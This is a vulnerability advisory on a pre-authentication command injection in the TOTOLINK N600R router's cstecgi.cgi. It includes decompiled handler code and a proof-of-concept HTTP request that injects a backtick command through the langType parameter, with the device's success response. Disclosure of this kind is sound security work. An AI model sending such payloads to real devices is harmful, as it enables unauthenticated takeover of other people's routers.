

Information

Vendor of the products: Gion Electronics (Shenzhen) Co., Ltd. (TOTOLINK)

Vendor's website: [TOTOLINK](#)

Reported by: Wang Jinshuai(3265296623@qq.com), Tang Bingcheng(2640807724@qq.com)

Affected products: TOTOLINK N600R

Affected firmware version: V4.3.0cu.7866_B20220506

Firmware download address: [N600R 雙倍飆速無線分享器 | TOTOLINK 台灣](#)

Overview

The vulnerability resides in the /web_cste/cgi-bin/cstecgi.cgi binary. The sub_4159F8 routine obtains user-supplied input from the frontend and concatenates it into the argument of the system() call without proper validation or sanitization, resulting in a pre-authentication command injection flaw. An unauthenticated attacker can submit specially crafted payloads to execute arbitrary system commands.

Vulnerability details

Through analysis of the /web_cste/cgi-bin/cstecgi.cgi binary that provides the device's web service, a pre-authentication command injection vulnerability was identified. Around line 260 in main, the program matches the user input against the string setting/setLanguageCfg, and upon a match, execution branches to approximately line 340.

```
257     v33 = 1;
258     if ( strcmp(Var, "setting/getLanguageCfg") )
259     {
260         v33 = 1;
261         if ( strcmp(Var, "setting/setLanguageCfg") )
262         {
263             v33 = 1;
264             if ( strcmp(Var, "setting/getSysStatusCfg") )
265             {
266                 v33 = 1;
267                 if ( !strstr(Var, "UploadCustomModule") )
268                 {
269                     v33 = 1;
270                     if ( !strstr(Var, "QuickCustom") )
271                     {
272                         v33 = 1;
273                         if ( !f_exist("/var/kkkkkk") )
274                         {
275                             v34 = 0;
276                             if ( f_exist("/tmp/cookie_key") )
277                             {
278                                 f_read("/tmp/cookie_key", v56, 0, 128);
279                                 memset(v59, 0, sizeof(v59));
280                                 f_read("/tmp/token_uptime", v59, 0, 128);
281                                 v34 = strtol(v59, 0, 10);
282                             }
283                             v35 = time(0);
284                             if ( strlen(v56) != 32 )
285                                 goto LABEL_84;
```

It then consults the set_handle_t dispatch table to resolve the corresponding handler based on the matched value and invokes it.

```

339     }
340     else if ( strstr(Var, "set") )
341     {
342         v39 = off_43FF50;
343         if ( !off_43FF50 )
344             goto LABEL_116;
345         v44 = &off_43FF94;
346         v45 = 0;
347         while ( strcmp(Var, &set_handle_t[68 * v45++], 0x40u) )
348         {
349             v39 = *v44;
350             v43 = *v44 != 0;
351             v44 += 17;
352             if ( !v43 )
353                 goto LABEL_116;
354         }
355     }

```

The setLanguageCfg entry resolves to the handler at sub_415840.

```

LOAD:0043FF94 off_43FF94: .word sub_422664 # DATA XREF: main+1644↑c
LOAD:0043FF98 aSetlanguagecfg:.ascii "setLanguageCfg"<0>
LOAD:0043FFA7 .byte 0
LOAD:0043FFA8 .byte 0
LOAD:0043FFA9 .byte 0
LOAD:0043FFAA .half 0
LOAD:0043FFAC .word 0
LOAD:0043FFB0 .word 0
LOAD:0043FFB4 .word 0
LOAD:0043FFB8 .word 0
LOAD:0043FFBC .word 0
LOAD:0043FFC0 .word 0
LOAD:0043FFC4 .word 0
LOAD:0043FFC8 .word 0
LOAD:0043FFCC .word 0
LOAD:0043FFD0 .word 0
LOAD:0043FFD4 .word 0
LOAD:0043FFD8 .word sub_415840

```

At approximately line 405 in main, the resolved handler is retrieved and invoked.

```

403     }
404     }
405     (v39)(v14);
406     goto LABEL_116;
407 }

```

The variable Var receives client-supplied data via the langType parameter and is directly concatenated into v5 using sprintf(). Due to the lack of strict input validation, an attacker can leverage backtick-based command substitution to execute arbitrary commands.

```

1 int __fastcall sub_415840(int a1)
2 {
3     const char *Var; // $s1
4     const char *v3; // $v0
5     char v5[256]; // [sp+18h] [-128h] BYREF
6     _DWORD v6[8]; // [sp+118h] [-28h] BYREF
7     char v7; // [sp+138h] [-8h]
8     int v8; // [sp+13Ch] [-4h] BYREF
9
10    memset(v5, 0, sizeof(v5));
11    memset(v6, 0, sizeof(v6));
12    v7 = 0;
13    Var = (const char *)websGetVar(a1, "langType", "");
14    v3 = (const char *)websGetVar(a1, "langFlag", "1");
15    v8 = atoi(v3);
16    apmib_set(6002, Var);
17    apmib_set(7012, &v8);
18    if ( f_exist("/var/userdata/product.ini") )
19    {
20        sprintf(v5, "helpUrl_%s", Var);
21        inifile_get_string("/var/userdata/product.ini", "PRODUCT", v5, v6);
22        apmib_set(7017, v6);
23    }
24    apmib_update_web(4);
25    system("rm -f /web_cste/js/language.js 1>/dev/null 2>&1");
26    sprintf(v5, "/web_cste/js/language %s.js", Var);
27    sprintf(v5, "ln -s /web_cste/js/language_%s.js /web_cste/js/language.js 1>/dev/null 2>&1", Var);
28    system(v5);
29    setResponse("0", "reserv");
30    return 0;
31 }

```

POC

```

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 73
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/login.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
  "topicurl":"setting/setLanguageCfg",
  "langType":"`ls -l > ../123.txt`"
}

```

Effect Demonstration

Request	Response
<pre> 1 POST /cgi-bin/cstecgi.cgi HTTP/1.1 2 Host: 192.168.0.1 3 Content-Length: 76 4 Accept: */* 5 X-Requested-With: XMLHttpRequest 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 8 Origin: http://192.168.0.1 9 Referer: http://192.168.0.1/login.asp 10 Accept-Encoding: gzip, deflate 11 Accept-Language: zh-CN,zh;q=0.9 12 Connection: close 13 14 { 15 "topicurl":"setting/setLanguageCfg", 16 "langType":"`ls -l > ../123.txt`" 17 } </pre>	<pre> 1 HTTP/1.1 200 OK 2 Connection: close 3 Date: Tue, 26 Aug 2025 07:35:36 GMT 4 Server: lighttpd/1.4.20 5 Content-Length: 98 6 7 { 8 "success":true, 9 "error":null, 10 "lan_ip":"192.168.0.1", 11 "wtime":"0", 12 "reserv":"reserv" 13 } </pre>

